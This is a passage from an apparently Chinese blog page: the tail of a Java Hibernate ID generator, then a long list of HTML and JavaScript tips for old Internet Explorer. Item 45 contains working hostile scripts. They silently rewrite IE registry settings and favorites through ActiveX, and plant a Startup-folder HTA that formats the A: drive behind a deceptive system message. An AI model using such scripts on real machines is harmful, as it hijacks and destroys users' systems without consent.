    //最大值数组已经使用的容量
    private static int lastIndex;

    //递增步长,默认加1
    private int step = 1;
    private String key;
    private String sql;
    private Connection connection;
    private Class returnClass;

    public Serializable generate(SessionImplementor session, Object object)
        throws HibernateException {
        // TODO Auto-generated method stub
        connection = session.connection();

        long seq = -1;

        //找到索引值
        int index = findIndex();

        //把最大值加1
        seqs[index] = seqs[index] + step;

        seq = seqs[index];
       
        //得到流水号,是自己写的工具类生成的.形式为000x
        String seqStr = JspFormate.currentFormateORM(seq);
        //得到yymmdd,是自己写的方法工具类生成的yymmdd
        String preDate = JspFormate.dateFormateYYYYMMDD(new Date()).substring(2);
        //得到hhmmss,是自己写的工具类获取的hhmmss
        String preHour = JspFormate.dateFormateOnlyHHMMSSORM(new Date());

        return preDate + preHour + seqStr;
    }

    /**
     * 找到表中自动增长字段存储在数组中的索引值
     * @return 索引值
     */
    private int findIndex() {
        int index = 0;

        //首先中缓存中取出索引值
        Integer integer = (Integer) map.get(key);

        //如果没有找到就从数据库中读出最大值并进行cache
        if (null == integer) {
            //double check lock
            synchronized (lock) {
                integer = (Integer) map.get(key);

                if (null == integer) {
                    long maxvalue = 1;

                   /* try {
                        maxvalue = getMaxvalue();
                    } catch (SQLException e) {
                        log.error(e);
                    }*/
                    maxvalue = new Long(0).longValue();

                    integer = new Integer(lastIndex++);
                    seqs[integer.intValue()] = maxvalue;
                    map.put(key, integer);
                }
            }
        }

        index = integer.intValue();

        return index;
    }

    public void configure(Type type, Properties params, Dialect d)
        throws MappingException {
        //     取出table参数
        String table = params.getProperty("table");

        if (table == null) {
            table = params.getProperty(PersistentIdentifierGenerator.TABLE);
        }

        //取出column参数
        String column = params.getProperty("column");

        if (column == null) {
            column = params.getProperty(PersistentIdentifierGenerator.PK);
        }

        //表的sehcma参数
        String schema = params.getProperty(PersistentIdentifierGenerator.SCHEMA);

        returnClass = type.getReturnedClass();

        //取出step参数
        String stepvalue = params.getProperty("step");

        if ((null != stepvalue) && !"".equals(stepvalue.trim())) {
            try {
                step = Integer.parseInt(stepvalue);
            } catch (Exception e) {
                log.error(e);
            }
        }

        //构造存储在Map中的索引值的key name
        key = table + "_$_" + column;

        //根据参数构造取最大值的SQL
        sql = "select max(" + column + ") from ";

        if (null != schema) {
            sql += (schema + ".");
        }

        sql += table;
    }

    /**
     * 取指定表中id字段的最大值,不存在记录返回0
     * @return 最大值
     * @throws SQLException if sql error occurs.
     */
    private long getMaxvalue() throws SQLException {
        long maxvalue = 0;

        PreparedStatement st = connection.prepareStatement(sql);
        System.out.println("============================================" + sql);
        ResultSet rs = null;

        try {
            rs = st.executeQuery();

            if (rs.next()) {
                maxvalue = rs.getLong(1);
            }

            sql = null;
        } finally {
            if (rs != null) {
                rs.close();
            }

            st.close();
        }

        return maxvalue;
    }
}

posted @ 2007-06-01 13:49 牛宝雷 阅读(3902) | 评论 (8) | 编辑 收藏
 
网页制作时的技巧

1.怎样才能把RealPlayer文件在网页做一个试听连接?

<embed height=25 src=51js.rm type=audio/x-pn-realaudio-plugin width=50 autostart="false" controls="PlayButton">

2.请问如何去掉IE的上下滚动条?

<body style='overflow:scroll;overflow-y:hidden'>

</body>

3.如何在打开页面的时候,输入表单就获得焦点?

如果表单没有名字可以用document.forms[index]数组访问 如果表单项没有名字可以用document.forms[index].elements[index]数组访问 这里index是整数 比如:

<form>

<input type="text" value="" onclick ="document.forms[0].elements[0].value='我是表单1,第一个表单项';">

</form>

<form name="form2">

<input type="text" value="" onclick ="document.form2.elements[0].value='我是表单2,第一个表单项';">

</form>

<form name="form3">

<input name="text3" type="text" value="" onclick ="document.form3.text3.value='我是表单3,第一个表单项';">

</form>

4.解释一下event.X和event.clientX有什么区别?

event.clientX返回事件发生时,mouse相对于客户窗口的X坐标

event.X也一样

但是如果设置事件对象的定位属性值为relative

event.clientX不变

而event.X返回事件对象的相对于本体的坐标

event代表事件的状态,例如事件发生的的元素、鼠标的位置等等,event对象只在事件过程中才有效。

event属性:

altKey

检索ALT键的当前状态

可能的值 true为关闭

false为不关闭

button

检索按下的鼠标键

可能的值: 0 没按键

1 按左键

2 按右键

3 按左右键

4 按中间键

5 按左键和中间键

6 按右键和中间键

7 按所有的键

cancelBubble

设置或检索当前事件是否将事件句柄起泡

可能的值: false 启用起泡

true 取消该事件起泡

clientX

检索与窗口客户区域有关的鼠标光标的X坐标,属性为只读,没有默认值。

clientY

检索与窗口客户区域有关的鼠标光标的Y坐标,属性为只读,没有默认值。

ctrlKey

ctrlKey 检索CTRL键的当前状态

可能的值 true为关闭

false为不关闭

dataFld

检索被oncellchange事伯影响的列

aTransfer

为拖放操作提供预先定义的剪贴板式。

Element

检索在onmouseover和onmouseout事件期间退出的对象指针

keyCode

设置或检索与引发事件的关键字相关联的Unicode关键字代码

该属性与onkeydown onkeyup onkeypress一起使用

如果没有引发事件的关键字,则该值为0

offsetX

检索与触发事件的对象相关的鼠标位置的水平坐标

offsetY

检索与触发事件的对象相关的鼠标位置的垂直坐标

propertyName

检索在对象上己更改的特性的名称

reason

检索数据源对象数据传输的结果

可能的值:

0 数据传输成功

1 数据传输失败

2 数据传输错误

recordset

检索数据源对象中默认记录集的引用

该特性为只读

repeat

检索一个事件是否被重复

该属性只有在onkeydown事件重复时才返回true

returnValue

设置或检索从事件中返回的值

可能的值:

true 事件中的值被返回

false 源对象上事件的默认操作被取消

screenX

检索与用户屏相关的鼠标的水平位置

screenY

检索与用户屏相关的鼠标的垂直位置

shiftKey

检索shiftKey键的当前状态

可能的值 true为关闭

false为不关闭

srcElement

检索触发事件的对象

srcFilter

检索导致onfilterchange事件触发的过滤器对象

srcUm

检索触发事件行为的同一资源名称

除非下面两个条件都为真,否则该特性被设置为null

1.行为被附加到触发事件的要素上

2.在前面的项目符号中定义的行为己指定了一个URN标识符和己触发的事件

toElement

检索作为onmouseover或者onmouseout事件结果而移动的对象

type

检索事件对象中的事件名称

x

检索相对于父要素鼠标水平坐标的整数

y

检索相对于父要素鼠标垂直坐标的整数

5.请问如何让网页自动刷新?

在head部记入<META HTTP-EQUIV="Refresh" content="20">其中20为20秒后自动刷新,你可以更改为任意值。

6.如何让一个窗口永远在最上面?

<a onclick=aa()>点这里</a>

<script language='javascript'>

function aa(){

y=window.showModalDialog("http://www.51js.com","","Height: 300; Width: 275; help: no");

}

</script>
7.如何实现虚线边框?

<html>

<head>

<title>虚线</title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

</head>

<body bgcolor="#FFFFFF" text="#000000">

<table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td style="border-top-style:dashed ;"> </td>

</tr>

</table>

</body>

</html>

[/html]

还可以把dashed换成dotted | solid | double | groove | ridge | inset | outset 等等样式,还可以在style里指定颜色:border-color:#??????

[html]<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>New Page 1</title>

<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

</head>

<body>

<table border="1" width="100%" style="border: 1px dashed">

<tr>

<td width="50%"> </td>

<td width="50%"> </td>

</tr>

<tr>

<td width="50%"> </td>

<td width="50%"> </td>

</tr>

<tr>

<td width="50%"> </td>

<td width="50%"> </td>

</tr>

</table>

</body>

</html>

[/html]

[html]<html>

<body>

<table>

<tr>

<td style="border-top:dashed 1px #000000;border-left:dashed 1px #000000;border-right:dashed 1px #000000">只有这样才行吗?</td>

</tr>

<tr><td style="border-left:dashed 1px #000000;border-right:dashed 1px #000000" height=100> </td></tr>

<tr><td style="border-bottom:dashed 1px #000000;border-left:dashed 1px #000000; border-right:dashed 1px #000000">如果td多了,这样出来的虚线边框是断断续续的。</td></tr></table>

</body></html>

8.如何用html实现浏览器上后退按钮的功能?

<a href="javascript:history.go(-1)">点击后退</a>

或者

<script> history.back() </script>

9.表单中如何用图片按钮实现 reset?

<html>

<head>

<script>

function aaa(){

document.forms[0].reset()

}

</script>

</head>

<body>

<form>

<textarea rows="2" name="S1" cols="20"></textarea>

<input type="submit" value="提交" name="B1">

<image src="logo.gif" onclick=aaa()>

</form>

</body></html>

10.怎样去掉图片链接点击后,图片周围的虚线?

onFocus="if(this.blur)this.blur()" blur: 使物件失焦... 當你点击图片链接時 图片链接得到焦點(Focus) 就會出現虚线(提示你這個圖片得到焦點了) 用blur能使之失焦 簡單一點的語法 onFocus="this.blur()"

11.如何去掉网页连接的下划线?

<head>

<style type="text/css">

<!--

A { text-decoration: none}

-->

</style>

</head>

<a href=http://www.51js.com>一个连接</a>

12.请问怎么在网页中改变鼠标的箭头形状?

<body>

<a href="#" style="cursor: auto;">auto</a><br/>

<a href="#" style="cursor: crosshair ">crosshair </a><br/>

<a href="#" style="cursor: default ">default </a><br/>

<a href="#" style="cursor: hand ">hand </a><br/>

<a href="#" style="cursor: move ">move </a><br/>

<a href="#" style="cursor: e-resize ">e-resize </a><br/>

<a href="#" style="cursor: ne-resize ">ne-resize </a><br/>

<a href="#" style="cursor: nw-resize">nw-resize</a><br/>

<a href="#" style="cursor: n-resize">n-resize</a><br/>

<a href="#" style="cursor: se-resize">se-resize</a><br/>

<a href="#" style="cursor: sw-resize">sw-resize</a><br/>

<a href="#" style="cursor: s-resize">s-resize</a><br/>

<a href="#" style="cursor: w-resize">w-resize</a><br/>

<a href="#" style="cursor: text">text</a><br/>

<a href="#" style="cursor: wait">wait</a><br/>

<a href="#" style="cursor: help">help</a><br/>

</body>

13.target="_blank"规定链接在新窗口中打开,那 target="_parent"、 target="_self" 、target="_top"的作用又是什么?

target="_parent"、上一层框架

target="_self" 、自身窗口、框架

target="_top" 最顶层框架。

更细点的解释,从织梦补给网找来的:

_blank

開啟一個新的視窗,而且是沒有命名的視窗。

_self

強迫連結的結果顯示在同一個子畫面,而忽略 BASE 的設定。

_parent

在該子畫面的「父畫面」(也就是上一層的 FRAMESET)中顯示連結的結果。

_top

從視窗的最上頭開始顯示畫面;換句話說就是先清除整個視窗後再載入連結

14.如何使网友收藏本网时,收藏夹显示的不是微软的那个一成不变的标志,而是本人选择的ICON?

<LINK href="fav.ico" rel="shortcut icon">

加入HADE標簽中,圖片放入根目錄下,須是.ico格式.

有的空間不支援直接放在根目錄

必須加上

<LINK href="路徑/圖檔.ico" rel="shortcut icon">

15.请问如何去掉主页右面的滚动条?

<body scroll="no">

<body style="overflow-y:hidden">

16.怎样不使用页面的缓存?即每一次打开页面时不是调用缓存中的东西

<META HTTP-EQUIV="Pragma" CONTENT="no-cache">

17.请问如何忽视右键?

<body oncontextmenu="return false">
18.怎样在同一页面内控制不同链接的CSS属性?

a:active{}

a:link{}

a:visited{}

a.1:active{}

a.1:link{}

a.1:visited{}

在DW4的CSS中定义一个新的标示,按照HTML的语法,超级连接得是

A.YOURS:LINK A.YOURS:HOVER

YOURS可以改作你自己的字

然后在选中某个连接后,在CSS面版中点中YOURS即可。

按需要,你可以定义N个标示,N种鼠标OVER的效果

19.电子邮件处理提交表单

<form name="form1" method="post" action="mailto:webmaster@51js.com" enctype="text/plain">

<input type=submit>

</form>

20.有没有可能用层来遮住FLASH?

1.在flash的parameters里加入 <param name="wmode" value="transparent">

2.<body onblur=self.focus()>

21.如何根据屏幕分辨率调用相对应的页面?

先做好几个页面,比如一个htm1.htm是800*600,一个是htm2.htm是1024*768的 然后在你的入口页面 index.htm 中判断:

<html>

<head>

<script language=javascript>

<!--

function mHref() {

if (screen.width == 1024) location.href = "htm2.htm";

else if (screen.width == 800) location.href = "htm1.htm";

else return(false);

}

//-->

</script>

</head>

<body onload="mHref();">

</body>

</html>

22.不用询问就关闭浏览器

<head>

<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<param name="Command" value="Close">

</object>

</head>

<body>

<input type="button" value="点击我关闭窗口" onclick="closes.Click();">

</body>

23.如何弹出只有状态栏的窗口?

<html>

<head>

<title>open() close()</title>

<script language="javascript" type="text/javascript">

<!--

function openWin()

{

var newWin=open("","","menubar=1,height=200");

newWin.document.write("<form>");

newWin.document.write("单击以下按钮关闭窗口:<p>");

newWin.document.write("<input type=button value='关闭' onclick=window.close()>");

newWin.document.write("</form>");

}

</script></head>

<body>

<div align=center>

<h2>单击以下按钮显示新窗口...</h2>

<form name=form1>

<input type=button value="新窗口1[只显示地址栏]" onclick=window.open('','new1','location=1')>

<input type=button value="新窗口2[只显示状态栏]" onclick=window.open('','','status=1')>

<input type=button value="新窗口3[只显示工具栏]" onclick=window.open('','new2','toolbar=1,height=200,width=450')>

<input type=button value="新窗口4[只显示菜单栏]" onclick=openWin()>

<input type=button value="新窗口5[一个不少]" onclick=window.open('','new5')>

<input type=button value="新窗口6[光棍但可调大小]" onclick=window.open('http://www.51js.com/forumdisplay.php?forumid=32#thread','new6','resizable=1')>

</form>

</div>

</body>

</html>

24.如何改变iframe的src地址

<body>

<input type="button" value="改变地址" onClick="parent.displayinhere.location.href='http://www.gznet.com/'">

<iframe name="displayinhere" width=250px; height=200px; src="http://www.51js.com">

</body>

25.如何让超链接没有下划线

在源代码中的<HEAD>…</HEAD>之间输入如下代码:

<style type="text/css"> <!--

a { text-decoration: none}

--> < /style>

26.页面打开时自动弹出一个窗口的代码怎么写?

<html>

<head>

<title>Untitled Document</title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<script language="JavaScript">

<!--

function MM_openBrWindow(theURL,winName,features) { //v2.0

window.open(theURL,winName,features);

}

//-->

</script>

</head>

<body bgcolor="#FFFFFF" text="#000000" onLoad="MM_openBrWindow('1212312.htm','','width=400,height=400')">

</body>

</html>

27.请问如何做到让一个网页自动关闭.

<html>

<head>

<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<param name="Command" value="Close">

</object>

</head>

<body onload="window.setTimeout('closes.Click()',10000)">

这个窗口会在10秒过后自动关闭,而且不会出现提示. </body>

28.如何让我的页面出现一个会讲话的小人?Merlin

<HTML>

<HEAD>

<TITLE>默林</TITLE>

<META http-equiv=Content-Type content="text/html; charset=gb2312">

</HEAD>

<BODY>

<p><OBJECT id=sims classid=CLSID<img src="images/smilies/bigsmile.gif" border=0>45FD31B-5C6E-11D1-9EC1-00C04FD7081F>

</OBJECT>

<SCRIPT>

var MerlinID;

var MerlinACS;

sims.Connected = true;

MerlinLoaded = LoadLocalAgent(MerlinID, MerlinACS);

Merlin = sims.Characters.Character(MerlinID);

Merlin.Show();

Merlin.Play("Surprised");

Merlin.Speak("大家好");

Merlin.Play("GestureLeft");

Merlin.Think("我是默林!");

Merlin.Play("Pleased");

Merlin.Think("可爱吗?");

Merlin.Play("GestureDown");

Merlin.Speak("哈哈!");

Merlin.Hide();

function LoadLocalAgent(CharID, CharACS){

LoadReq = sims.Characters.Load(CharID, CharACS);

return(true);

}

</SCRIPT>

</p>

<p> </p>

<p>看此效果必须装有office2000!!!</p>

</BODY>

</HTML>

如果看不到效果或效果有问题,请将代码保存为html文件查看.

这代码中使用的MSAgent仍然属于客户端的控件,在Win98安装PWS时可以安装上一个叫Merlin的精灵,查查你的系统中有没有一个叫做Merlin.acf的文件,应该在一个叫MSAgent的目录,记不太清了,有的话才能看到,否则就会出现下载的提示,在Win2000中已安装了MSAgent2.0,所以一般都会正确的显示出来,还有很多精灵,但之所以选用Merlin因为大部分的机器上都有,如果想自己定制的话,可以到微软去下载一个叫Character Editor的工具,制作的精灵必须分发到客户端才可使用,在微软站点的MSAgent是在服务器端的,每个命令都要到服务器上去处理,然后发回相应的动作图画,(不过至今我还没看到过,我们的带宽本来就不够,还有一堆人在下载,哎,真是痛苦!),我还没有看到有关在Server端制作MSAgent的文章,谁有的话,可以告诉我一声。 其中: 用"=number" number是字数/分 例如: Merlin.Speak "=62to the 51js" Merlin.Speak "=160to the 51js" 还有,找到这句: Merlin.LanguageID = 0x409; 改为0x804 (Simplified Chinese) 改为0x404 (Traditional Chinese) 要用的话最好到微软去看看它的使用许可协议,要是被微软告了可别怪我噢!! 最终用户许可 http://msdn.microsoft.com/msagent/eula.asp 分发许可 http://msdn.microsoft.com/msagent/agentlic.asp MSAgent 下载 http://activex.microsoft.com/activex/controls/agent2/MSagent.exe http://agent.microsoft.com/agent2/chars/Merlin.exe http://agent.microsoft.com/agent2/chars/Peedy.exe 资料: http://msdn.microsoft.com/workshop/imedia/agent/techfaq.asp
29.如何几秒后转到别的页面?

<META HTTP-EQUIV="Refresh" CONTENT="时间;URL=地址">

30.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动

<html><head>

<STYLE>

body {background-image:url(../bihu/pic/logo.gif);

background-repeat:no-repeat; background-position:center }

</STYLE>

</head>

<body bgproperties="fixed" >

</body>

</html>

31.文本输入框什么属性能实现不可输入?

<input type="text" name="textfield" disabled>

或者

<input type="text" name="textfield" readonly>

32.怎样保持layer在最前面,而不被Iframe、Object所覆盖,有什么解决方法?

只要在Layer中再插Iframe 或 Object 设z-Index值

<div z-Index:2><object xxx></object></div> # 前面

<div z-Index:1><object xxx></object></div> # 后面

<div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div>

<div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"><iframe height=100% width=100%></iframe></div>

33.如何让表格并排?

首先在第一个表里应该这样写: "<table border=0 cellpadding=1 cellspacing=1 align=left>" 这table里最为关键是"align=left"这一句。 然后在第二个表里也应该加上align=left 这样,你的目的就达到了。

<table width="200" border="0" cellspacing="1" cellpadding="0" bgcolor="#000000" align=left>

<tr>

<td bgcolor="#ffffff"> </td>

</tr>

</table>

<table width="200" height=200 border="0" cellspacing="1" cellpadding="0" bgcolor="#cccccc" align=left>

<tr>

<td bgcolor="#ffffff"> </td>

</tr>

</table>

[/html]

[html]<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00"><tr><td> 我很好</tr></td></table>

<br/>还可以排三个

<br/>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00" align=right><tr><td> 我很好</tr></td></table>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#0000ff" align=center><tr><td> 他也很好</tr></td></table>

34.如何让两个form表单行距之间不出现空格?

这样写 <TABLE><FORM><TR>.......</TR></FORM></TABLE>

35.如何让页面自动刷新?

方法一,用refresh

<head>

<meta http-equiv="refresh" content="5">

</head>

5表示刷新时间

方法二,使用setTimeout控制 <script> function rl(){ document.location.reload() } setTimeout(rl,2000) </script>

36.如何给文本连接加上提示语言?

<a href="#" title="我出来拉">click me</a>

37.英文排版的问题:怎么能让英自动排列整齐?

请使用css中的 text-align: justify;

<table style="TABLE-LAYOUT: fixed" width="100%" border="0" cellspacing="0" cellpadding="7" bgcolor="#f7f7f7">

<tr>

<td style="LEFT: 0px; WIDTH: 100%; text-align: justify"><font color="#990000">[效果]</font><br/>

who are you you are a aaa is it comprehention who are you you are a pig is it comprehention

who are you you are a aaa is it comprehention

who are you you are a aaa is it comprehention

</font></td>

</tr>

</table>

38.如何禁止自己的页面在别人的框架里打开?

把以下代码加至你的<head>区

<script>

if (window.top!=self){

window.top.location=self.location

}

</script>

39.在打开的子窗口刷新父窗口的代码里如何写?

window.opener.location.reload()
42.JS正则表达式replace用法

下述示例脚本使用replace方法来转换串中的单词。在替换的文本中,脚本使用全局 RegExp

对象的$1和$2属性的值。注意,在作为第二个参数传递给replace方法的时候,RegExp对象的$属性的名

称。

<SCRIPT LANGUAGE="JavaScript1.2">

re = /(+)(+)/;

str = "John Smith";

newstr=str.replace(re,"$2, $1");

document.write(newstr)

</SCRIPT>

显示结果:"Smith, John".

str.replace(re,"$2, $1");这一句,$2,$1是什么意思?

[font color=blue]下面这个解释我也不大明白,可否帮我解释一下,多谢!{/font]

$1, ..., $9属性

用圆括号括着的匹配子串,如果有的话。

是RegExp的属性

静态,只读

在JavaScript 1.2, NES 3.0以上版本提供

描述:因为input是静态属性,不是个别正则表达式对象的属性。你可以使用RegExp.input 访问该

属性。

能加上圆括号的子串的数量不受限制,但正则表达式对象只能保留最后9 条。如果你要访问所有的

圆括号内的匹配字串,你可以使用返回的数组。

RegExp.$n 保存满足用圆括号括起来的匹配条件的子串

$2是匹配第2个括号,$1是匹配第1个括号,对多层括号嵌套应该如何区分?而且如果超过$1~$9的括号如何匹配?

<script>

var reg=/((+)(+))/;

var str='John Smith';

reg.exec(str);

</script>

<button onclick=with(RegExp)alert($1+''+$2+''+$3);>View</button>

43.如何实现首页全屏幕显示?

<html>

<body><script language="javascript">

var coolw=642

var coolh=400

var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,

toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")

window.close()

</script></body></html>

44.如何动态改变一个Object对象的样式表风格的Class?

<style>

.btn1{

background-color:#990000;color:#ffffff;

}

</style>

<button onclick="this.className='btn1'">你点我一下我的样式表就改为使用.btn1了</button>

45.如何用脚本来修改用户系统的注册表? (★★★★不推荐使用★★★★)

<script>

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function AddFavLnk(loc, DispName, SiteURL)

{

var Shor = Shl.CreateShortcut(loc + "\" + DispName +".URL");

Shor.TargetPath = SiteURL;

Shor.Save();

}

function f(){

try

{

//ActiveX 初始化

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Net = a1.GetObject();

try

{

if (documents .cookie.indexOf("Chg") == -1)

{

//设置Cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

//设置Cookie完毕

//设置主页

Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.51js.com/");

//修改浏览器的标题

Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");

//设置Cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"


var WF, Shor, loc;

WF = FSO.GetSpecialFolder(0);

loc = WF + "\Favorites";

if(!FSO.FolderExists(loc))

{

loc = FSO.GetDriveName(WF) + "\Documents and Settings\" + Net.UserName + "\Favorites";

if(!FSO.FolderExists(loc))

{

return;

}

}


AddFavLnk(loc, "无忧脚本", "http://www.51js.com");

}

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout("f()", 1000);

}

init();

</script>

格式化硬盘的,

把启动菜单下的automat.hta删除即可,这是格式化 a:盘

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">

</object>

<SCRIPT>

scr.Reset();

scr.Path="C:\windows\start menu\Programs\启动\automat.hta";

scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is configing the system,do not interrupt it!.');</"+"SCRIPT>";

scr.write();

</script>

<HTML>

<HEAD>

<TITLE>

建立文件

</TITLE>

</HEAD>

<BODY>

<BR>

<APPLET code="com.ms.activeX.ActiveXComponent" >

</APPLET>

<SCRIPT LANGUAGE="JAVASCRIPT">

a1=document.applets[0];

fn="51js.HTM";

doc="<SCRIPT>s1=欢迎你访问无忧脚本!\请您将在启动文件夹内的51js.com.HTM删除即可;alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";

function f1()

{

a1.setProperty('DOC',doc);

}

function f()

{

// The ActiveX classid

cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";

a1.setCLSID(cl);

a1.createInstance();

setTimeout("a1.setProperty('Path','"+fn+"')",1000);

setTimeout("f1()",1500);

setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);

}

setTimeout("f()",1000)

</SCRIPT>

<SCRIPT LANGUAGE="VBSCRIPT">

VA = ARRAY()

' 获取com.ms.com.Variant[]

</SCRIPT>

<BR>

</BODY>

</HTML>原理是一样的!

46.如何监听一个窗口被关闭了?

<body onunload="alert('你关闭了这个窗口')">

47.什么是innerHTML、outerHTML………还有innerText?

自己用代码来体会一下

<div id=test><table><tr><td>文本<a>链接</a>另一段文本</td></tr></table></div>

<input type=button onclick=alert(test.innerText) value="show innerText"><br/>

<input type=button onclick=alert(test.innerHTML) value="show innerHTML"><br/>

<input type=button onclick=alert(test.outerHTML) value="show outerHTML"><br/>

48.关于try....catch..的语法捕捉错误使用例子

try{

可能会引起错误的语句

}

catch(表达式)

{

错误处理语句

}

例如:

<button onclick=TryDemo()>Try...Catch...Demo</button>

<script>

function TryDemo()

{

try{

var a=b/2;//注意由于b不存在,所以会引发一个异常。

}

catch(e)

{

alert('错误类型:'+e+'错误信息:'+e.Descrition);

}

}

</script>
49.如何获得一个Select中选中option的value?

select.options[select.selectedIndex].value

50.this 和self 有什么区别,各在哪里用

self指代窗口。 this的情况: 1. 用于元素事件代码中指代元素本身: <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function构造的类。

<script>

function Car(){this.name='Car';};alert(new Car().name);

</script>

51.如何禁止Ctrl+N?

<body onkeydown=return(!(event.keyCode==78&&event.ctrlKey))>

52.所有dhtml对象的属性和方法其实在你本机的硬盘上就有!

查找:dhtmled.ocx

或在delphi/c++builder中import activeX 选dhtmled.ocx

53.window方法列表

发现经常有人问一些有关窗口操作的问题,

所以花了些时间整理出这篇文章,

希望以后不会再有人问这方面的问题。

ie里window的method列表

alert(sMsg)

//弹出一个确认消息框

attachEvent(sEvent,pFunction)

//绑定一个函数到某个事件,事件触发时随机执行其中一个被绑定的函数

blur()

//令窗口丧失焦点

clearInterval(iIntervalID)

//清除指定定时器的关联函数

clearTimeout(iTimeoutID)

//清除指定延时器的关联函数

close()

//关闭窗口,如果窗口不是用脚本打开的,会弹出确认对话框。

confirm([sMessage])

//弹出“确定/取消”对话框

createPopup([vArgs])

//创建一个隐藏的弹出式窗口,vArgs是未来考虑提供的参数,返回窗口句柄

detachEvent(sEvent,pFunction)

//取消一个事件的某个绑定函数

execScript(sExpression, sLanguage)

//用指定的语言执行代码

focus()

//激活窗口

moveBy(iX,iY)

//用相对方式移动窗口

moveTo(iLeft,iTop)

//用绝对方式移动窗口

navigate(sURL)

//转到指定的连接

open( [sURL] [, sName] [, sFeatures] [, bReplace])

//打开新窗口,并返回窗口句柄

//sName=(*_blank:打开一个新的未命名窗口;_parent:在父窗口中打开;_search:同时打开搜索窗口;_self:替换本窗口; _top:在顶级窗口里打开;*)

//sFeatures=(*channelmode = { yes | no | 1 | 0 };directories = { yes | no | 1 | 0 };fullscreen = { yes | no | 1 | 0 };height = number;left = number;location = { yes | no | 1 | 0 };menubar = { yes | no | 1 | 0 };resizable = { yes | no | 1 | 0 };scrollbars = { yes | no | 1 | 0 };status = { yes | no | 1 | 0 };titlebar = { yes | no | 1 | 0 };toolbar = { yes | no | 1 | 0 };top = number;width = number;*)

print()

//打印当前窗口文档内容

prompt( [sMessage] [, sDefaultValue])

//弹出输入对话框

resizeBy(iX, iY)

//以相对方式改变窗口大小

resizeTo(iWidth, iHeight)

//以绝对方式改变窗口大小

scroll(iX,iY)

滚动窗口,与scrollTo一样的效果,出于兼容性的考虑保留下来的方法

scrollBy(iX, iY)

//用相对方式滚动窗口

scrollTo(iX, iY)

//用绝对方式滚动窗口

setActive()

//激活目标而不将视线转向目标

setInterval(vCode, iMilliSeconds [, sLanguage])

//定时执行一段代码

setTimeout(vCode, iMilliSeconds, sLanguage)

//延时执行一段代码

showHelp(sURL [, vContextID])

//打开一个帮助文件,sURL为帮助文档地址,vContextID为帮助索引号

showModalDialog(sURL [, vArguments] [, sFeatures])

showModalDialog(sURL [, vArguments] [, sFeatures])

//打开一个模式对话框

//vArguments=需要向新开模式对话框传递的参数

//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

showModelessDialog(sURL [, vArguments] [, sFeatures])

//打开一个非模式对话框

//vArgument=需要向新开模式对话框传递的参数

//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

54.execCommand的完全参考(中文版)

document.execCommand(sCommand[,交互方式, 动态参数])

2D-Position;document.execCommand("2D-Position","false","true");使绝对定位的对象可直接拖动;ie5.5

AbsolutePosition;document.execCommand("AbsolutePosition","false","true");使对象定位变成绝对定位;ie5.5

